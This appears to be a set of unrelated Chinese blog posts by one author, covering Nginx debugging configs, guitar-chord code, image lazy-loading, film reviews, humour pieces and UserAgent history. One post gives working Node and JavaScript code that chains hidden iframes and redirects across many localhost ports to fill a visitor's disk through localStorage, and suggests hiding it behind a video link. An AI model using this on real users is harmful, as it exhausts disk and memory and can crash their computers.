除去上面两种场景，合理运用这些模块对应的配置，可以做出许多小工具，这是很有想象力的事情。
单单针对移动web前端开发，就可以实现：

1. 将weinre脚本插入到html里，让移动web调试更加便捷。
2. 移动web经常用到localStorage优化首屏，但debug时又会受到干扰，通过一个按钮很方便的清除本地缓存。
3. 手机APP内嵌页面，很难将其网址分享给另一个人。通过一个按钮就能生成url对应的二维码等

场景四：本地映射

在Windows下的前端抓包调试，Fiddler+Willow的能力毋庸置疑。
而脱离了.NET体系的Linux和Mac，即使有一些代替工具，但某些方面还是略显不足。

比如：线上接口映射到本地文件。
想到Fiddler的本质也是一个代理，而开启一个有这样能力的Nginx服务，并不是太难的事情。

而且，我们可以做得更灵活，比如：

• 同时支持慢速调试
• 同时支持目录层级映射
• 同时支持正则匹配
• JSON返回的数据有可能是变化的（比如分页时候），同时支持动态数据

这些场景，只运用到Nginx里的“rewrite规则”。
从参考的文档可以大致看到，rewrite规则非常灵活，能完成各种场景的转发。

最简单的模型中，我们把所有带cgi-bin路径的请求，rewite到本地的一个服务，同时带上请求的所有参数，
仅需这三行配置即可：

1
2
3

location ~ /cgi-bin/* {
    rewrite ^(.*)$ http://127.0.0.1:8080/cgi-bin/ last;
}

后续的事情，可以在本地创建一个cgi-bin文件夹，在里面放置需要映射的文本，并开启服务到8080端口即可。

场景五：移动侧调试

Fiddler 有一个勾选项 Allow remote computers to connect，并可以指定 listen port 可以使得手机/其它终端通过将本机设为代理而访问本机环境，与 hosts 配合会很实用。

这个功能，用Nginx也很容易做到。
通过 default_server 作为代理，手机终端通过设置网络代理为本机IP和相应的 listen port，从而可以访问本机的 Web 服务。

其中也是用到了ngx_http_proxy_module模块的配置：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

 server {
    listen  80 default_server;
    server_name  localhost;
    resolver 8.8.8.8;
    location / {
        proxy_set_header Host $host;
        proxy_set_header X-Real-Ip $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://$host;
    }
}

server {
    listen  80;
    server_name  ke.qq.com;
    location / {
        proxy_set_header Host $host;
        proxy_set_header X-Real-Ip $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://127.0.0.1:9091/;
    }
}

边角料

除去特定场景，Nginx的一些配置也跟前端息息相关。以下简单罗列，作为边角材料。

1.nginx_http_concat
资源合并，处理CDN combo。例如通过这样的方式http://example.com/??style1.css,style2.css,foo/style3.css访问合并后的资源。

2.ngx_http_image_filter_module
图片处理。提供图片缩放，jpg压缩，旋转等特性。

3.适配PC与移动web
总体可运用ngx_http_proxy_module，去实现路径转发。判断平台类型的Nginx配置，在开源项目detectmobilebrowsers中可以找到。

后记

学习Nginx，我本身只是出于开开眼界的目的。而的确发现了一些很有启发性的特质。
于前端开发，无论线上线下，熟练掌握基本配置，可以做出许多提高效率的工具。
但既然是工具，熟手就好。

比如Fiddler直观，但Nginx更底层，更灵活，应当按照实际选择即可。

话说回来，后来心情有些惆怅。
想起之前，我用NodeJs写过一个八百行的本地调试服务，如今更习惯用Nginx的几行配置。
不过我又想，既然我已经花了时间去写，为什么还要花时间去用？！

心情又好起来了。（等等有什么不对，管它呢…）

END.
15.11.03 Litten.

无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。
然而，作为一个前端，我发现是有方式打开次元大门的…

这个实验脑洞较大，动机无聊，但某种意义上反映了一些安全问题。
想象一下，有天你在家里上网，吃着火锅还唱着歌，点开一个链接，电脑突然就蓝屏了！想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。
windows下的chrome，localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。

对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。

那么问题就变成：这样的限制足够保护用户硬盘了吗？

关键

关键的问题在于，这一限制，针对的是一个域名+端口。
也就是说，你访问同一个域名的不同端口，它们的localStorage并无关联，是分开存储的。

我用node简单地开启了服务器，这时，用户访问http://127.0.0.1:1000到http://127.0.0.1:1099这100个端口，会请求到同一个页面：index.html：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式，只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

当然，这个index.html里涉及了localStorage写操作。

1
2
3
4
5
6

var s = "";
//慢慢来，别写太大了，好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好（xie）玩（e）一些，问题就变成如何让用户自动遍历这些端口？

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000，页面的脚步就会创建一个iframe，去请求http://127.0.0.1: 1001，一直循环下去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来，别写太大了，好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…
比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。

然后我就看到请求如潮水渐涨：

但是，请求到1081端口，最新的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。

###防止浏览器崩溃

C盘还未撑满，同志还需努力。怎么办？

突然想到，到达iframe极限之前，我们可以重定向啊。
每访问50个端口，就使用window.location.href重定向一次，去确保浏览器不崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash，每50个执行跳转

  return {
    init: function(){
      //慢慢来，别写太大了，好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个，重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明，这种蛮拼的方法的确可行。

至此，只要访问http://127.0.0.1: 1000，就会往Local Storage文件夹里写入近500M无用数据：

里面的数据是这样的：

继续实验的黑科技

算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。
结果是这样的，到达了1.17G大小。

在后续的实验中，我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢？

我观察到，有时候执行localStorage.setItem()后，在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。

但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有：

1. 等待；
2. 用任务管理器关掉chrome进程，再等待；
3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说，浏览器的内心几乎是崩溃的。

最后

最后，还是得用严肃脸告诫一下：害人之心不可无。
本实验，从一开始就是怀揣着将安全问题上交给国家的初衷去做的（是的就是这么纯粹）。

后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。
由于请求过多，需要一定时间，我就去做别的事情了。
回来后发现房间安静祥和，美轮美奂，一片蓝光，像是加了特技。

那么问题来了，计算机修理哪家强？
有点急…

越长大，日记越是件难事。

我翻看很小时候的日记本，寥寥几笔，满满回忆；
再长大一些，不好看了，因为有些虚假，更多是为了应付老师的作业。
没有了真情实意，日记更像是作文。你看这名字的意义也够直接，“作”的文。

如果内心的小人与你说话，却都是谎话，记录又有何意义？
所以心智成熟后，日记越来越难被坚持下来。

更残酷的是，有时你根本不知道自己是不是在说谎！
你不确定是否喜欢现在的工作，
不确定自己的付出是否有回报，
以及，不确定爱不爱她

现代人想了一个极好的方法，叫——放空自己
把跳出来跟你争论的小人掩藏在游戏与歌酒里，什么都不去想，不去问。偶尔这样一下也挺好。

但我觉得，真实的记录还是要有。

半年以来，一直督促自己，要养成做完事情记(tu)录(cao)一下的习惯。
无论是旅行，聚会，书籍，电影，与长时间循环过的歌曲。
当然这些记录大多依靠手机，随想随记，潦草简短。
原则是，记录过的东西，就不再删改，即使后来看起来会很幼稚。真实的记录，自有它不容改变的尊严。

将笔记里杂七杂八的条目汇总，就新影而言，居然有这么多记录了。

海洋之歌 5

如诗如颂，如歌如梦
美好到出戏去看播放的进度条，希望它走得不要太快
就像需要重复确认起床时间的失眠夜

浪客剑心 3.5

剑心最帅的不是眼花缭乱的剑技
而是抱着薰小姐说“沙扬娜拉”时
逆刃刀注定要重回杀戮，告别眼前的爱人，告别悔过的自我
这声简短的再见合适不过

明日边缘 3.5

能读档真好！
阿汤哥教你for循环从入门到精通

辉夜姬物语 4

罪罚与眷恋，缘起随缘灭
仓央嘉措说：“世间之事，除却生死，哪一件事不是闲事？”
一句入世的废话，也是出世的实话

智取威虎山 3

张涵予的眼影和林更新的演技撑起了这版萌系王牌特工

哪啊哪啊神去村 5

十年之计，莫如树木；终身之计，莫如树人
一切神佑，源于热爱
看《海贼王》时，船匠弗兰奇的师傅临别前的一番话动人至深：
谁都可以嫌弃你的船，唯独你，不可以。

外形醉汉PK地球神 3.5

任何人去探讨宗教都显得力微，来自星星的你却是个例外
旁观者的角度让人想起少年派前三十分钟
“地球是很危险的”，但同时也是有爱的

重返20岁 4

剧本精良，彩蛋满分，杨子姗的演技太惊艳
比起“奇怪的她”更喜欢这部
当我们思考重返20岁能干什么时
其实一切都还没晚

王牌特工 4.5

很难再能看到如此不落俗套的表演
马修·沃恩想说，以前的谍战片都简称JB，都是狗，
看我有种一枪崩了它们
慢着，我说着逗你玩呢，是空弹啊，呵呵

绣春刀 4

“起先，一家互联网公司的产品暴露了一个重大bug，
派三个程序员去排查。程序员发现啊，这bug能赚一大笔钱，
因而谎报bug已fix而导致的一系列血案。结论是改bug得认真。”
——我朋友（已拉黑）眼中的绣春刀

战狼 3.5

一切的槽点都可以用诚意来弥补
附：《主旋律电影如何不惹急豆瓣小清新指南》
1、主角得有痞子气
2、能泡到女上司

霍比特人三 五军之战 4

比起原著，李建军的表演更加丰满。
魔龙已死，宝石归位，情谊长传，孤山永在，
它的意义应当是开始，
而感觉却是一曲终了，恍之若别
我们也要跟中土世界说再见了。

狼图腾 3

小说《狼图腾》，是我自己买的书中，
为数不多看不下去的
因而没太多能说的
但就电影来看，太想说狼，但说狼是为了说人
因而敬畏与情感，在高大上的图腾与乌托邦面前略显薄弱

小森林 夏秋篇 5

极致内敛和极致色欲，这两种电影估计都只有日本人能拍出来
真正无剧情无尿点的五星神作，半年最佳
但此片在电影院里看会打折扣
适合下载个1020P高清，一个人，拉窗帘，躲被窝里，
跟极致色欲那种的观影模式一个样

复仇者联盟二 4

看1时，是跟大学最好的几个朋友去，
看完后热血沸腾，我说，我们飞回寝室去！
如今复仇者再联盟，你们在哪里？
我们打一架也好哇

——litten 6.5晚

诚然，吉他有上千个和弦。世界上最厉害的吉他大师，也无法一眼辨识出所有的和弦。

更多时候，我们熟记几个基本的和弦，然后通过一定的计算法则，去推导其他的和弦。因而推导的逻辑就非常重要。

《吉他三月通》一书把这乐理洋洋洒洒说了一百多页，我想试着让事情简单一些。

最后，我们将逻辑实现成一个小程序，可以方便打印出想要推导的和弦。

###音乐与数学

既然是逻辑，都可以用数学去建模，然而音乐与数学之间，却有一点非常重要的差异。

在这之前，我们得谈点有趣的事情，它们都有共同的原因：

1. 为什么我们会觉得某首歌很“中国风”？
2. 为什么某些日本的传统音乐听起来很“诡异”？
3. 为什么钢琴要做成黑键白键，所有键都一样不行吗？

我们常用——

正整数：1、2、3、4、5、6、7 ，
对应和弦：C、D、E、F、G、A、B，
对应音符：Do、Re、Me、Fa、So、La、Ti

每个正整数之间，都是相差1；而按频率高低排列的音符，由于历史原因，它们并不是等差数列。

实际上，4比理想的要低一点，7比理想的要高一点，其他的5个音，则基本在理想线性曲线上！

这5个跟理想比较吻合的音，就是天朝古代的五音阶：宫、商、角、徵、羽。“中国风”的歌曲，大多使用了这五个音，所以让人感到舒服和温和；而日本的传统音乐，反其道而行用了许多4与7（这么说也不太对，具体是受阴阳调式影响，但表现上大概如此），有一种幽静阴深的效果。

所以，以上问题的原因是：音符的递增不完全是线性的！

我们得把4和7这两个不和谐点标志出来，就出现了“半音和全音”的理论。
把3到4和7到1这两个不满一个跨度的叫做半音；其他相邻音符之间，都叫做全音。
而造物主的神奇之处在于：两个半音等于一个全音。

音乐的世界跟数学的这点不同，会在后面逻辑推导上会给我们一点小小的麻烦。

###音乐家与程序员

试想，如果程序员要完成描述音阶的数据结构，会如何设计呢？

通常，应该先规划“最小粒度”。而“半音”刚好是最合适的选择。

音乐家与程序员的处理方式如出一辙，钢琴上夹在两个白键之间的黑键，吉他相邻品丝之间，都是为了表现出半音。

如果用程序描述吉他品丝的关系就是：

1

var scale = [2, 2, 1, 2, 2, 2, 1];  //3-4是半音，7-1也是半音，相隔1品；其他是全音，相隔2品

###吉他与尺子

知道了这些，我们就好比掌握了一把尺子的刻度。

在尺子上，如果一个刻度表示1cm，那么从3cm往后推两个格子，就是5cm；
把吉他想象成尺子，一个刻度表示半音，和弦之间就可以推导了。

与众不同的是，这把尺子首尾相连，更像一个循环的圈。

1
2
3
4

刻度：    2品       2品       1品       2品       2品       2品       1品       2品       2品
和弦：C  +----> D  +----> E  +----> F  +----> G  +----> A  +----> B  +----> C  +----> D  +----> ……
音符：Do +----> Re +----> Me +----> Fa +----> So +----> La +----> Ti +----> Do +----> Re +----> ……
整数：1  +----> 2  +----> 3  +----> 4  +----> 5  +----> 6  +----> 7  +----> 1  +----> 2  +----> ……

因而，一个和弦可以有多种方式弹奏。
比如C和弦，除了最基础的开放式（不需要用食指横按品丝）指法，我们还可以用A和弦的指法实现：

1
2
3

C = B + 1品
  = A + 2品 + 1品
  = A + 3品

所以，我们用食指横按住第3品（或者用变调夹夹第3品），然后再加上A和弦的开放式指法，就形成了一个C和弦。

同理也可以用E和弦实现：

1
2
3
4
5
6

C = B + 1品
  = A + 2品 + 1品
  = G + 2品 + 2品 + 1品
  = F + 2品 + 2品 + 2品 + 1品
  = E + 1品 + 2品 + 2品 + 2品 + 1品
  = E + 8品

横按的位置就在第8品上。

其实大部分情况下，我们都是用A，E，Am，Em这四个和弦去推导其他和弦，因为这几个和弦横按与转换比较方便，特别是在扫弦的时候。

###程序实现

明确逻辑之后，就差程序实现了。但这之前，我们定了程序的最小粒度是1品，就无可避免遇到一个问题：

如果A + 2品 = B，那A + 1品 = ？

这个和弦介于A与B之间，人们把它称为升A或降B，对应记法是A#或Bb。

至此我们可以列出，用E指法和A指法推导的所有和弦的横按位置：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

var positions = {
    "E": {
    "A":  5,
    "A#": 6,
    "Bb": 6,
    "B":  7,
    "C":  8,
    "C#": 9,
    "Db": 9,
    "D":  10,
    "D#": 11,
    "Eb": 11,
    "E":  12,
    "F":  1,
    "F#": 2,
    "Gb": 2,
    "G":  3,
    "G#": 4,
    "Ab": 4
    },
    "A": {
     "A":  12,
     "A#": 1,
     "Bb": 1,
     "B":  2,
     "C":  3,
     "C#": 4,
     "Db": 4,
     "D":  5,
     "D#": 6,
     "Eb": 6,
     "E":  7,
     "F":  8,
     "F#": 9,
     "Gb": 9,
     "G":  10,
     "G#": 11,
     "Ab": 11
    }
  };

同时，将E、A的开放和弦的指型描述出来：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

//这里仅列出E、A大小和弦，共四种指法
//更详细指法数据结构可参看后面demo

chord_shapes = {
  "M E": {
name: "Maj",
chord: [[3, 2], [4, 3], [5, 3]],
bars: [{from_string: 6, to_string: 1, fret: 1}]
  },
  "m E": {
    name: "m",
    chord: [[4, 3], [5, 3]],
    bars: [{from_string: 6, to_string: 1, fret: 1}]
  },
  "M A": {
    name: "Maj",
    chord: [[2, 3], [3, 3], [4, 3], [6, "x"]],
    bars: [{from_string: 5, to_string: 1, fret: 1}]
  },
  "m A": {
    name: "m",
    chord: [[2, 2], [3, 3], [4, 3], [6, "x"]],
    bars: [{from_string: 5, to_string: 1, fret: 1}]
  }
};

分别传递“和弦名”,“指法”，“类型”作为参数，我们就可以很容易的画出和弦：

1
2

createChord("C", "A", "M A");  \\画出C和弦，用A指法，定义类型是大三和弦(Maj)
createChord("D", "A", "m A");  \\画出Dm和弦，用A指法，定义类型是小三和弦(Minor)

###Demo

以下是完整Demo，将上述chord_shapes的指型补充得更完整。

并且尝试用A指型，自动生成了C调的7个常用和弦。

End. 2015.5.25

其实，一开始让我在网页中加载一张图片，我是，是拒绝的…因为实在太简单了。

<img src="xx.jpg" />是每个前端开发都会的技能。然而，如果你想做到极致，事情还没有这么简单。

最近实现了个图片加载器，用于大型web前端项目中，关于加载图片这一话题，仔细想来可以加许多的特技。

###第一步：滚屏加载

这是最容易想到的点，也是一开始就准备做的。

随web体验的进步，滚屏加载代替分页加载的情形越来越多。也就是先预留图片位置，而不去加载图片，直到这个预留区域滚动到屏幕中，用户能看见了，才去加载图片。如此一来，有“按需加载”的意味，由于图片加载延后，不抢占带宽，在打开页面的首屏会快很多。我们称之为“懒加载(lazyload)”。

其实现也很简单，在html里面写<img lazy-src="xx.jpg" />，然后用js去判断这个节点是否出现在屏幕中，如果是，则取出lazy-src属性，赋值成<img lazy-src="xx.jpg" src="xx.jpg"/>，触发此节点onload，这就实现最简单的滚屏加载了。

###第二步：特殊状态处理

特殊状态有两种：加载中与加载失败。这两种情况的处理逻辑相类似，拿加载中的逻辑做例子。

图片触发加载，到图片加载完成（或失败）之间，肯定会有一段时间。不做处理的话，用户在等待的过程中，就只能看到空白的区域，非常的奇怪。在低网速，以及用户非常快的拉滚动条的情形下，这种现象将更加明显。

那么在触发onload之前，就需要补一些逻辑，展示对应的loading图。
将需要处理的img节点作为参数，调用tempImg函数，克隆一个节点强行插在img之前，用于loading中的展示。

1
2
3
4
5
6
7
8
9
10
11
12

var tempImg = function(target){
    var w = target.width();
    var h = target.height();
    var tempDom = target.clone().addClass("lazy-loding").insertBefore(target);

    if(w/h == 1){
        tempDom[0].src = "http://9.url.cn/edu/img/img-loading.png";
    }else{
        tempDom[0].src = "http://9.url.cn/edu/img/img-loading2.png";
    }
    target.hide();
}

###第三步：上报监控

这一步在大型前端项目中非常重要，也是经常被忽略的地方。尽管需要简易的后台配合，但不算麻烦的上报监控，能让产品更加稳定和健壮。

我在两个地方用到了上报。其一是图片加载失败，触发onerror时，这样一来我们能知道每天图片拉取失败的量；其二是图片加载的时间，能够帮助我们分析cdn服务是否异常，分析全国慢速用户比例等等。

而所谓的上报其实就是一个http请求，我会大概把这些信息带上

1
2
3
4
5
6

   log({
'type': 'error',
'msg': 'lazyload拉取图片失败上报 ',
'url': window.location.href,
'pid': 414342  //产品对应的id
});

###第四步：居中截取

这是前端无可避免的一个问题，先来说下此问题的背景。

由于我们是先用一个空白的img标签占位，再去加载图片，如果图片的高度特别长（比如新浪长微博），加载完成时就会撑开节点，引起滚动条的跳动。由于移动端屏幕较PC窄，一个跳动就可能让你找不到前一秒正在浏览的内容，这种体验尤其严重。在移动端的web设计中，可以看到许多知名互联网公司的产品，也经常忽略这一点。

因此我们可以限定占位区域的size，以此区域来做居中截取。当占位区域与图片最终展示同宽同高时，就不会引起跳动，而且也保持了视觉的一致性。

其原理如下，先判断是竖向长型图，还是横向长型图，根据不同的情况，优先让宽或高填充满占位区域，然后通过不同的负margin去实现居中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

var calSize = function($img) {
    var w = $img.width(), h = $img.height(), width = size[0], height = size[1];
    if(w+h == 0) return;

    //如果是长型图，优先适配宽度，高度居中截取
    if(w/h > width/height){
        var newWidth = height * w / h;
        var margin = (width - newWidth)/2;
        $img.height(height).css({"margin-left": margin});
    }else{
        var newHeight = width * h / w;
        var margin = (height - newHeight)/2;
        $img.width(width).css({"margin-top": margin});
    }
}

###第五步：支持webp

webp格式图片是google开发的一种旨在加快图片加载速度的图片格式，压缩提交大概只有jpg的2/3。随chrome的比例越来越多，其实让更多用户体验到webp也是一件好事。

那么问题来了，怎么去判断用户的浏览器是否支持webp呢？
根据ua去判断是个好方法，但不太靠谱，因为chrome中其实也有设置，让它不能去支持webp，而且webkit本身就开源，会衍生出很多你不知道名字的浏览器。

最终我使用的是特性检测：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

if(!supportedWebPIsLoading) {
    supportedWebPIsLoading = true;
    var images = {
        basic: "data:image/webp;base64,UklGRjIAAABXRUJQVlA4ICYAAACyAgCdASoCAAEALmk0mk0iIiIiIgBoSygABc6zbAAA/v56QAAAAA=="
    }, $img = new Image();
    $img.onload = function () {
        supportedWebPIsLoading = false;
        $.cookie.set("iswebp" , +supportedWebP);
    };
    $img.onerror = function () {
        supportedWebP = false;
        supportedWebPIsLoading = false;
        $.cookie.set("iswebp" , +supportedWebP);
    };
    $img.src = images.basic;
}

我们会让浏览器试着加载一张非常小的base64格式的webp图片，如果能够正常加载，说明是支持webp的。

并且，会把测试记录在cookie里，所以第二次直接从cookie里读结果，基本不会影响性能。完成了最重要的检查，我们就可以放心让服务器返回不同格式的图片了。

End.

而年前的主要矛盾，是日益增多的star和fork数，与功能还未完善之间的矛盾；以及越来越多的bug被大家发现，与我忙得飞起只好假装没发现这些bug的矛盾…

默默放下抢红包的手机，还是决定先把关于hexo最想解决的三件事之一：移动端适配给做了。

##三件事

话说这三件事一直有放在心上，是使用hexo时还不够满意的地方。

1. 移动端适配。就很多主题来看，响应式布局就等同于移动端适配，这是远远不足够的。布局影响的仅仅是视觉，还必须有特有的交互逻辑，以适应大家的操作习惯。
2. seo。hexo的seo还比较弱，description需要支持文章自定义比较稳妥，而把标签云塞到keyword里面去是个好想法。
3. 模块化加载。把fancybox，jiathis，duoshuo这些给延迟加载，移动端和pc端js分离。就瀑布图来看，是有信心提速20%-30%的。
   
   

##移动端适配

关于适配着重在这些方面：

• 滚动时视觉感官上的流畅性
• 便于单手操作
• 次要信息在左侧边栏的收纳管理

##谈资类

1、谈乔纳森。
苹果设计师乔纳森。你要往死里黑他，但一定请记住，得是爱到深处自然黑那种黑。顺手拿过iphone6当惊堂木一拍（兄弟你得狠下这个心），当小伙伴因震惊不解而望着你时，你微微一笑，缓缓叹气：“彩虹山上的渐变爵士，身上却流着极简的血液…”

2、谈亚马逊。
要坚定保持亚马逊没啥黑点的观点不动摇。当别人说到界面和UI时，你整个人都要散发出一种“亚马逊的产品很牛的所以界面什么的并不重要”的气质。

3、谈阿里IPO。
这个话题面前，谈什么都会很low。但你可以很随意的说：哈哈，现场wifi信号一定很强！
小伙伴们细细一品，就没人敢说话了。恰恰是这句随意的话，突显了你对整个路演格局的了然于胸！300名销售人员，主场和分场，等电梯要半小时，队伍有十八个弯…这些信息量都涵盖在这句话里了。

##话题类

1、关于APP。
[ˈæp] 念阿破（与爱破也比较像，参见音标），不能把三个字母拆开念成A P P。总的来说有三大注意事项：1、国内的，不玩。2、流行的，不玩。3、名声响的，不玩。

2、关于手机贴膜。
营造出一种“一个批判者的自我愤怒”的气氛，让人感觉你在贴与不贴之间，一定有一段不可言说的故事。然后表现出自己已超脱了挣扎，在自己这个level，跟大家再讨论现实问题已毫无意义。因而你只好微笑着说：“你们不觉得让屏幕随手机一起慢慢变老，是一件很浪漫的事情吗？”

3、关于朋友圈。
A：怎么很少见你发朋友圈？你：哦…国内的sns（一定要秀个英文）不太有意思，我回头把我ins帐号发你。
当然你的朋友圈里还是可以写些东西，参考文字：脑残粉了一回，终于遇到了Trip Hawkins，从Spore开始就已喜欢上了EA…

4、关于BAT。
不谈。

##技巧类

1、欲扬先抑。
在赞美目标的之前，把同类产品先夸一遍。不经意间，透露出自己知识面广，却又别有追求。具体句式可参考《中国好声音》：“杨坤老师，我一直很喜欢你，但是…”

2、回答问题。
使用知乎文风，可助你吹的牛逼鹏翔万里，栩栩如生。有人会问，什么是知乎文风，难学吗？不难，记住两个词就可以了。
第一个词在最开头用，“谢邀”。不管有没有人邀你，这主要是营造“我不是一个人在战斗”的氛围，以及一种“我本沉默奈何盛情难却”的傲娇。
第二个词在最末尾用，“以上”。不管你以上的内容怎样，就这么一个词，有种老子发言结束了，你们该鼓掌的鼓掌该献花的献花的微妙情怀。

以上。

不是很理解之余，这个chrome插件豆瓣首页 for chome就诞生了。

但这个问题很有意思。

进入豆瓣相关页面，在导航条处会有“默认首页”tab，如截图虚线框处所示。点击即可进入。

这个问题有意思的地方在于，在国内很少有人做类似“减法”的东西。未登录时展示聚合的热门内容；登录后展示与个人相关的推荐内容，两者竟只取其一。大家例行吐槽，吐槽后接着用。

我找到了官方的一些解释：《由头和环境：新豆瓣首页看待世界的方式》

懂你的，会随你而变。… 希望豆瓣在你眼中不是一成不变的寂静的水泥地面，而是和你共呼吸、同作息的有氧森林。

这句话说得很棒，各种产品的未来愿景都应如是。看到这会知道为什么以前的“豆瓣猜”会变成“订阅”，即使两者没太大本质的区别，但前者是被动的感觉，后者则是表达主动的需要。

那么推荐算法在这个产品形态中，则扮演了一个非常重要的角色。但目前，我个人感觉豆瓣的推荐并不能十分使人满意。

因而有了这个chrome插件。
我做这个插件，最由衷的愿望，就是某天能把这插件给消灭掉。

附：github地址

litten 2014.10.16

前篇《浏览器野史 UserAgent列传（上）》

六、师夷长技

前面说到，微软靠Windows系统捆绑IE销售。而Windows自然也有它的对手，Linux。一个技术快速发展的时代，系统的世界里也是战火纷飞。Linux系统自从有了可视化界面，也需要浏览器呀。桌面系统KDE的缔造者们就发明了一个。

真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？
但大神就是大神，大神就是讲究先从文字上占据压垮你的气势。
先有Navigator航海家，再有Explorer探索者，咱就叫Konqueror(Conqueror的变体)征服者吧。
行行行。我已懒得理这帮大神…

可是，问题来了。Konqueror使用KHTML排版引擎，即使它们认为自己跟Gecko引擎一样优秀，但用户不买单。你UserAgent里没有“Gecko”字样，我就不给你经过优良排版的html。
结果，Konqueror思来想去，做了一个艰难但很萌的决定，把UserAgent写成Mozilla/5.0 (compatible; Konqueror/3.2; FreeBSD) (KHTML, like Gecko)…
这就是现代浏览器里like Gecko这一萌词的由来。

就这样，伟大的排版引擎KHTML为了获得更好的资源，师夷长技。这并没什么不好，却造成了UserAgent的越发混乱。
KHTML与Gecko这一对，永远卿卿我我比翼双飞在UserAgent里面了。那个满含深意的“like”，有人觉得翻译成“像”，但也有人觉得应该是“喜欢”…

七、世界大战

首先是IE冷静下来了，他觉得，你们不带这么玩的？
就我年少时不懂事，首先改了个Mozilla字样，后面追究这历史我岂不是成了罪魁祸首？我改还不行吗？
在IE6，它明确自己UserAgent为Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)。除去已经注定不可抹去的“Mozilla”字样，其余信息简洁，准确，清晰。

但事态已经不可收拾。

Opera给这狂躁的世界添了一把火。它觉得，易容术非常炫酷呀。Opera直接在菜单提供了Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.51，Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51，Opera/9.51 (Windows NT 5.1; U; en)三个选择项。第一个是易容成IE，第二个是易容成火狐，第三个才是自己，选谁就是谁！

其实这并不是一件坏事。因为Opera是站在能够让用户通过选择，去获得更好的浏览体验的基础上的。你提供选择，或是不提供，混乱的UserAgent还是在这，不离，不弃。再者，这对网页的开发者有极大的好处，在某些情况，你不必同时打开几个不同的浏览器去调试。到目前，最新的Chrome浏览器更加炫酷，能够支持近40种不同的UserAgent，甚至你还可以自定义。当然这是后话。

与此同时，苹果公司依靠内核WebKit，开发出Safari，命名UserAgent为Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5。

有人就会问了，不是Webkit内核吗，怎么还有KHTML, like Gecko？注意，内核Webkit包含了一个排版引擎叫WebCore，而WebCore是KHTML衍生而来的。也就是说，WebCore是KHTML的儿子，子承父业，基因差不多。为了能够正常排版，safari只能这么写。

